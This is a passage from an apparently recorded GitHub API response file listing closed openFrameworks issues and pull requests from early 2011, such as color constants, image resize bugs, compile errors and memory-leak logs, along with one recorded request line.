constants","labels":[],"closed_at":"2011-01-15T16:27:17Z","created_at":"2011-01-15T05:59:05Z","state":"closed","user":{"url":"https://api.github.com/users/damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366},"id":528436,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/364","patch_url":"https://github.com/openframeworks/openFrameworks/pull/364.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/364.diff"}},{"updated_at":"2011-01-15T17:25:51Z","body":"woo!","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/363","comments":0,"milestone":null,"number":363,"html_url":"https://github.com/openframeworks/openFrameworks/issues/363","assignee":null,"title":"video stuff for iphone","labels":[],"closed_at":"2011-01-15T17:25:51Z","created_at":"2011-01-15T04:58:53Z","state":"closed","user":{"url":"https://api.github.com/users/stfj","avatar_url":"https://secure.gravatar.com/avatar/b089227a1748a2d70cdfc4ef00b325ad?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b089227a1748a2d70cdfc4ef00b325ad","login":"stfj","id":177578},"id":528398,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/363","patch_url":"https://github.com/openframeworks/openFrameworks/pull/363.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/363.diff"}},{"updated_at":"2011-02-10T20:09:11Z","body":"there's a branch with ofPixels using smartpointers internally to make it java like. there's also an example in devApps/smartofPixels:\r\n\r\nhttps://github.com/openframeworks/openFrameworks/tree/smartofPixels","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/362","comments":1,"milestone":null,"number":362,"html_url":"https://github.com/openframeworks/openFrameworks/issues/362","assignee":null,"title":"decide if we want smart pointers","labels":[],"closed_at":"2011-02-10T20:09:11Z","created_at":"2011-01-15T03:47:47Z","state":"closed","user":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"id":528329,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-01-15T05:10:37Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/361","comments":0,"milestone":null,"number":361,"html_url":"https://github.com/openframeworks/openFrameworks/issues/361","assignee":null,"title":"Added the ofxSynth and examples","labels":[],"closed_at":"2011-01-15T05:10:37Z","created_at":"2011-01-15T00:56:39Z","state":"closed","user":{"url":"https://api.github.com/users/jonbro","avatar_url":"https://secure.gravatar.com/avatar/893ec14dc008e3774afe5841115920d6?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"893ec14dc008e3774afe5841115920d6","login":"jonbro","id":1597},"id":528173,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/361","patch_url":"https://github.com/openframeworks/openFrameworks/pull/361.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/361.diff"}},{"updated_at":"2011-03-13T21:06:39Z","body":"static bool mySortFunction( ofPoint A, ofPoint B ){\r\n return ( A.x < B.x );\r\n}\r\n\r\nvector myVector;\r\nofSort(myVector, mySortFunction);","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/360","comments":0,"milestone":null,"number":360,"html_url":"https://github.com/openframeworks/openFrameworks/issues/360","assignee":null,"title":"ofSort( myVector, mySortFunction )","labels":[],"closed_at":"2011-03-13T21:06:39Z","created_at":"2011-01-14T21:27:30Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":527844,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-03-13T21:04:37Z","body":"ofVertex() does not accept ofVec2f","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/359","comments":1,"milestone":null,"number":359,"html_url":"https://github.com/openframeworks/openFrameworks/issues/359","assignee":null,"title":"ofVertex() does not accept ofVec2f","labels":[],"closed_at":"2011-03-13T21:04:37Z","created_at":"2011-01-14T20:30:16Z","state":"closed","user":{"url":"https://api.github.com/users/vanderlin","avatar_url":"https://secure.gravatar.com/avatar/96c91dba0113ea847ee43b0961d24b3a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"96c91dba0113ea847ee43b0961d24b3a","login":"vanderlin","id":149997},"id":527721,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-02-25T20:12:06Z","body":"2011-01-14 14:46:11.675 serialExample[91162:a0f] *** __NSAutoreleaseNoPool(): Object 0x3478e0 of class NSCFArray autoreleased with no pool in place - just leaking\r\n2011-01-14 14:46:11.676 serialExample[91162:a0f] *** __NSAutoreleaseNoPool(): Object 0x347d00 of class NSPathStore2 autoreleased with no pool in place - just leaking\r\n2011-01-14 14:46:11.676 serialExample[91162:a0f] *** __NSAutoreleaseNoPool(): Object 0x347d30 of class NSCFData autoreleased with no pool in place - just leaking\r\n2011-01-14 14:46:11.677 serialExample[91162:a0f] *** __NSAutoreleaseNoPool(): Object 0xa03d2ae8 of class NSCFString autoreleased with no pool in place - just leaking\r\n2011-01-14 14:46:11.678 serialExample[91162:a0f] *** __NSAutoreleaseNoPool(): Object 0x31dfd0 of class __NSArray0 autoreleased with no pool in place - just leaking\r\n2011-01-14 14:46:11.679 serialExample[91162:a0f] *** __NSAutoreleaseNoPool(): Object 0x3199c0 of class NSCFNumber autoreleased with no pool in place - just leaking\r\n2011-01-14 14:46:11.680 serialExample[91162:a0f] *** __NSAutoreleaseNoPool(): Object 0x347fa0 of class NSCFArray autoreleased with no pool in place - just leaking\r\n2011-01-14 14:46:11.681 serialExample[91162:a0f] *** __NSAutoreleaseNoPool(): Object 0x3353f0 of class NSCFArray autoreleased with no pool in place - just leaking\r\n2011-01-14 14:46:11.682 serialExample[91162:a0f] *** __NSAutoreleaseNoPool(): Object 0xa067344c of class NSCFString autoreleased with no pool in place - just leaking\r\n2011-01-14 14:46:15.645 serialExample[91162:a0f] *** __NSAutoreleaseNoPool(): Object 0x1813ee0 of class NSCFArray autoreleased with no pool in place - just leaking\r\n2011-01-14 14:46:15.650 serialExample[91162:a0f] *** __NSAutoreleaseNoPool(): Object 0x1826d60 of class NSCarbonWindow autoreleased with no pool in place - just leaking","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/358","comments":4,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/4","number":4,"title":"0071 Release","due_on":"2012-04-08T07:00:00Z","closed_issues":70,"open_issues":0,"created_at":"2011-12-02T15:29:28Z","state":"closed","description":"","id":61808},"number":358,"html_url":"https://github.com/openframeworks/openFrameworks/issues/358","assignee":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"title":"ofCreateAlertDialog - leaking on os x ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":"2012-02-25T20:01:20Z","created_at":"2011-01-14T19:48:33Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":527633,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-03-13T19:19:20Z","body":"Missing include in ofxAccelerometer.h was causing the compile to bork. Added include of ofpoint.h and all is happy.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/356","comments":1,"milestone":null,"number":356,"html_url":"https://github.com/openframeworks/openFrameworks/issues/356","assignee":null,"title":"Add missing include","labels":[],"closed_at":"2011-03-13T19:19:20Z","created_at":"2011-01-14T18:50:50Z","state":"closed","user":{"url":"https://api.github.com/users/emonty","avatar_url":"https://secure.gravatar.com/avatar/70046f765dfa1f330e61066dda4351bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"70046f765dfa1f330e61066dda4351bb","login":"emonty","id":95156},"id":527515,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/356","patch_url":"https://github.com/openframeworks/openFrameworks/pull/356.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/356.diff"}},{"updated_at":"2011-01-19T22:42:33Z","body":"The recent move of ofNode3d.h wound up moving it to ofNode3D.h. I'm guessing folks are on mac laptops with case-insensitive filesystems. :) ... In any case, just a few includes had to be fixed for linux.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/355","comments":1,"milestone":null,"number":355,"html_url":"https://github.com/openframeworks/openFrameworks/issues/355","assignee":null,"title":"Fix 3d case problem","labels":[],"closed_at":"2011-01-19T22:42:33Z","created_at":"2011-01-14T18:28:23Z","state":"closed","user":{"url":"https://api.github.com/users/emonty","avatar_url":"https://secure.gravatar.com/avatar/70046f765dfa1f330e61066dda4351bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"70046f765dfa1f330e61066dda4351bb","login":"emonty","id":95156},"id":527480,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/355","patch_url":"https://github.com/openframeworks/openFrameworks/pull/355.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/355.diff"}},{"updated_at":"2011-01-15T05:54:41Z","body":"(ofColor::gray, ofColor::blue, ofColor::red etc)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/354","comments":0,"milestone":null,"number":354,"html_url":"https://github.com/openframeworks/openFrameworks/issues/354","assignee":null,"title":"adds ofColor static members for predefined colors","labels":[],"closed_at":"2011-01-15T05:54:41Z","created_at":"2011-01-14T18:12:42Z","state":"closed","user":{"url":"https://api.github.com/users/damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366},"id":527453,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/354","patch_url":"https://github.com/openframeworks/openFrameworks/pull/354.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/354.diff"}},{"updated_at":"2011-01-15T05:06:37Z","body":"indices draw correctly now for back face culling and lighting","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/353","comments":1,"milestone":null,"number":353,"html_url":"https://github.com/openframeworks/openFrameworks/issues/353","assignee":null,"title":"fixes to ofBox","labels":[],"closed_at":"2011-01-15T05:06:37Z","created_at":"2011-01-14T15:58:50Z","state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":527200,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/353","patch_url":"https://github.com/openframeworks/openFrameworks/pull/353.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/353.diff"}},{"updated_at":"2011-01-14T15:13:08Z","body":"yo, fixed all latest conflits and ready to go","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/352","comments":0,"milestone":null,"number":352,"html_url":"https://github.com/openframeworks/openFrameworks/issues/352","assignee":null,"title":"Adv3d","labels":[],"closed_at":"2011-01-14T15:13:08Z","created_at":"2011-01-14T06:55:56Z","state":"closed","user":{"url":"https://api.github.com/users/memo","avatar_url":"https://secure.gravatar.com/avatar/b5c0e3c2630097b29680cfeda464024c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b5c0e3c2630097b29680cfeda464024c","login":"memo","id":144230},"id":526473,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/352","patch_url":"https://github.com/openframeworks/openFrameworks/pull/352.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/352.diff"}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=27&state=closed {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4969'), ('content-length', '24473'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"ce1b424cfdd846014923c2d5d4528074"'), ('date', 'Tue, 29 May 2012 18:46:48 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2011-01-14T05:39:52Z","body":"whoop whoop","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/351","comments":0,"milestone":null,"number":351,"html_url":"https://github.com/openframeworks/openFrameworks/issues/351","assignee":null,"title":"made ofPoint typedef'd","labels":[],"closed_at":"2011-01-14T05:39:52Z","created_at":"2011-01-14T05:34:07Z","state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":526404,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/351","patch_url":"https://github.com/openframeworks/openFrameworks/pull/351.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/351.diff"}},{"updated_at":"2011-01-14T05:24:00Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/350","comments":0,"milestone":null,"number":350,"html_url":"https://github.com/openframeworks/openFrameworks/issues/350","assignee":null,"title":"Geometry shader example","labels":[],"closed_at":"2011-01-14T05:24:00Z","created_at":"2011-01-14T05:19:42Z","state":"closed","user":{"url":"https://api.github.com/users/jonbro","avatar_url":"https://secure.gravatar.com/avatar/893ec14dc008e3774afe5841115920d6?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"893ec14dc008e3774afe5841115920d6","login":"jonbro","id":1597},"id":526388,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/350","patch_url":"https://github.com/openframeworks/openFrameworks/pull/350.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/350.diff"}},{"updated_at":"2011-01-14T05:23:17Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/349","comments":0,"milestone":null,"number":349,"html_url":"https://github.com/openframeworks/openFrameworks/issues/349","assignee":null,"title":"Added the stream operators for the math classes","labels":[],"closed_at":"2011-01-14T05:23:17Z","created_at":"2011-01-14T04:23:09Z","state":"closed","user":{"url":"https://api.github.com/users/roxlu","avatar_url":"https://secure.gravatar.com/avatar/a3e45d93c2d24b6ae8bbef0453065e45?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"a3e45d93c2d24b6ae8bbef0453065e45","login":"roxlu","id":358809},"id":526307,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/349","patch_url":"https://github.com/openframeworks/openFrameworks/pull/349.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/349.diff"}},{"updated_at":"2011-01-14T02:15:43Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/348","comments":1,"milestone":null,"number":348,"html_url":"https://github.com/openframeworks/openFrameworks/issues/348","assignee":null,"title":"ofGetPreviousMouseX ofGetPreviousMouseY","labels":[],"closed_at":"2011-01-14T02:15:43Z","created_at":"2011-01-14T02:15:18Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":526160,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-12-02T22:37:28Z","body":"This text is in both the debug and release projects, and causes warnings on compilation:\r\n\r\n\tLIBRARY_SEARCH_PATHS_QUOTED_FOR_TARGET_4 = \"\\\"$(SRCROOT)/../../../libs/GLee/lib/osx\\\"\";","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/346","comments":2,"milestone":null,"number":346,"html_url":"https://github.com/openframeworks/openFrameworks/issues/346","assignee":null,"title":"example projects have extra glee references after glee has been removed","labels":[],"closed_at":"2011-12-02T22:37:28Z","created_at":"2011-01-13T20:18:19Z","state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":525440,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-01-14T03:14:12Z","body":"i've been merging while i go, which is why the commit history looks nastier than it actually is.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/345","comments":0,"milestone":null,"number":345,"html_url":"https://github.com/openframeworks/openFrameworks/issues/345","assignee":null,"title":"added non-glut ofBox that is iphone compatible","labels":[],"closed_at":"2011-01-14T03:14:12Z","created_at":"2011-01-13T18:31:26Z","state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":525199,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/345","patch_url":"https://github.com/openframeworks/openFrameworks/pull/345.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/345.diff"}},{"updated_at":"2011-01-14T03:11:27Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/344","comments":1,"milestone":null,"number":344,"html_url":"https://github.com/openframeworks/openFrameworks/issues/344","assignee":null,"title":"ofPixels needs destructor","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":"2011-01-14T03:11:27Z","created_at":"2011-01-13T18:03:27Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":525115,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-01-13T21:23:59Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/343","comments":0,"milestone":null,"number":343,"html_url":"https://github.com/openframeworks/openFrameworks/issues/343","assignee":null,"title":"ofImage resize is broken - doesn't resize","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":"2011-01-13T21:23:59Z","created_at":"2011-01-13T17:49:55Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":525075,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-01-13T21:24:37Z","body":"\ttdfSmall.loadImage(\"images/tdf_1972_poster.jpg\");\r\n\ttdfSmall.resize(tdf.width / 4, tdf.height / 4);\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/342","comments":1,"milestone":null,"number":342,"html_url":"https://github.com/openframeworks/openFrameworks/issues/342","assignee":null,"title":"ofImage swap channels on resize","labels":[],"closed_at":"2011-01-13T21:24:37Z","created_at":"2011-01-13T17:40:50Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":525056,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-01-13T21:22:26Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/341","comments":0,"milestone":null,"number":341,"html_url":"https://github.com/openframeworks/openFrameworks/issues/341","assignee":null,"title":"ofImage missing GIF palletization code - check both color and grayscale gifs - use imageLoaderExample to check","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":"2011-01-13T21:22:26Z","created_at":"2011-01-13T17:36:44Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":525044,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-01-13T16:17:33Z","body":"just pulling master this morning, I get these errors on VS 2010\n\n\t..\\..\\..\\openFrameworks\\sound\\ofSoundStream.cpp(83): error C3861: 'back_inserter': identifier not found\n\t..\\..\\..\\openFrameworks\\sound\\ofSoundStream.cpp(170): error C2057: expected constant expression\n\t..\\..\\..\\openFrameworks\\sound\\ofSoundStream.cpp(170): error C2466: cannot allocate an array of constant size 0\n\t..\\..\\..\\openFrameworks\\sound\\ofSoundStream.cpp(170): error C2133: 'working' : unknown size\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/339","comments":1,"milestone":null,"number":339,"html_url":"https://github.com/openframeworks/openFrameworks/issues/339","assignee":null,"title":"ofSoundStream doesn't compile cleanly for vs2010","labels":[],"closed_at":"2011-01-13T16:17:33Z","created_at":"2011-01-13T13:45:54Z","state":"closed","user":{"url":"https://api.github.com/users/ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","id":142897},"id":524541,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-01-14T03:52:09Z","body":"Yay.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/338","comments":2,"milestone":null,"number":338,"html_url":"https://github.com/openframeworks/openFrameworks/issues/338","assignee":null,"title":"new ofAssimpLoader and example, and a new ofBlendMode example.","labels":[],"closed_at":"2011-01-14T11:52:08Z","created_at":"2011-01-13T07:07:32Z","state":"closed","user":{"url":"https://api.github.com/users/vade","avatar_url":"https://secure.gravatar.com/avatar/37aca214d4875cd90af9d67072c82642?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"37aca214d4875cd90af9d67072c82642","login":"vade","id":65011},"id":523945,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/338","patch_url":"https://github.com/openframeworks/openFrameworks/pull/338.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/338.diff"}},{"updated_at":"2011-03-13T20:58:22Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/336","comments":0,"milestone":null,"number":336,"html_url":"https://github.com/openframeworks/openFrameworks/issues/336","assignee":null,"title":"ofFileDialog for linux","labels":[],"closed_at":"2011-03-13T20:58:22Z","created_at":"2011-01-13T05:21:00Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":523836,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-01-13T06:50:45Z","body":"ofSoundUnit.cpp/.h and ofSoundEffect.cpp/.h","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/335","comments":1,"milestone":null,"number":335,"html_url":"https://github.com/openframeworks/openFrameworks/issues/335","assignee":null,"title":"ofSound stuff","labels":[],"closed_at":"2011-01-13T06:50:45Z","created_at":"2011-01-13T05:10:23Z","state":"closed","user":{"url":"https://api.github.com/users/damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366},"id":523821,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/335","patch_url":"https://github.com/openframeworks/openFrameworks/pull/335.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/335.diff"}},{"updated_at":"2011-01-13T06:21:08Z","body":"lib is broken though, needs poco + freeimage + freetype compliations","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/334","comments":0,"milestone":null,"number":334,"html_url":"https://github.com/openframeworks/openFrameworks/issues/334","assignee":null,"title":"updated iphone lib + ofShader + ofFbo setup for iphone","labels":[],"closed_at":"2011-01-13T06:21:08Z","created_at":"2011-01-13T03:31:06Z","state":"closed","user":{"url":"https://api.github.com/users/stfj","avatar_url":"https://secure.gravatar.com/avatar/b089227a1748a2d70cdfc4ef00b325ad?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b089227a1748a2d70cdfc4ef00b325ad","login":"stfj","id":177578},"id":523725,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/334","patch_url":"https://github.com/openframeworks/openFrameworks/pull/334.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/334.diff"}},{"updated_at":"2011-01-13T03:46:33Z","body":"basic demo right now, golan is going to make a better one using the camera input.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/333","comments":1,"milestone":null,"number":333,"html_url":"https://github.com/openframeworks/openFrameworks/issues/333","assignee":null,"title":"adding ofxCvHaarFinder","labels":[],"closed_at":"2011-01-13T03:46:33Z","created_at":"2011-01-12T20:53:05Z","state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":523032,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/333","patch_url":"https://github.com/openframeworks/openFrameworks/pull/333.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/333.diff"}},{"updated_at":"2011-03-13T20:58:05Z","body":"expose the function \ninvert_4x4(const ofMatrix4x4 rhs, ofMatrix4x4 dst)\n\nfrom inside ofMatrix4x4.cpp\n\nsuggest methods:\n\tofMatrix4x4 ofMatrix4x4::getInverse()\n\t{\n\t\tofMatrix4x4 inverse;\n\t\tinvert_4x4(*this, inverse);\n\t\treturn inverse;\n\t}\n\n\tbool ofMatrix4x4::getInverse(ofMatrix4x4 &inverse)\n\t{\n\t\treturn 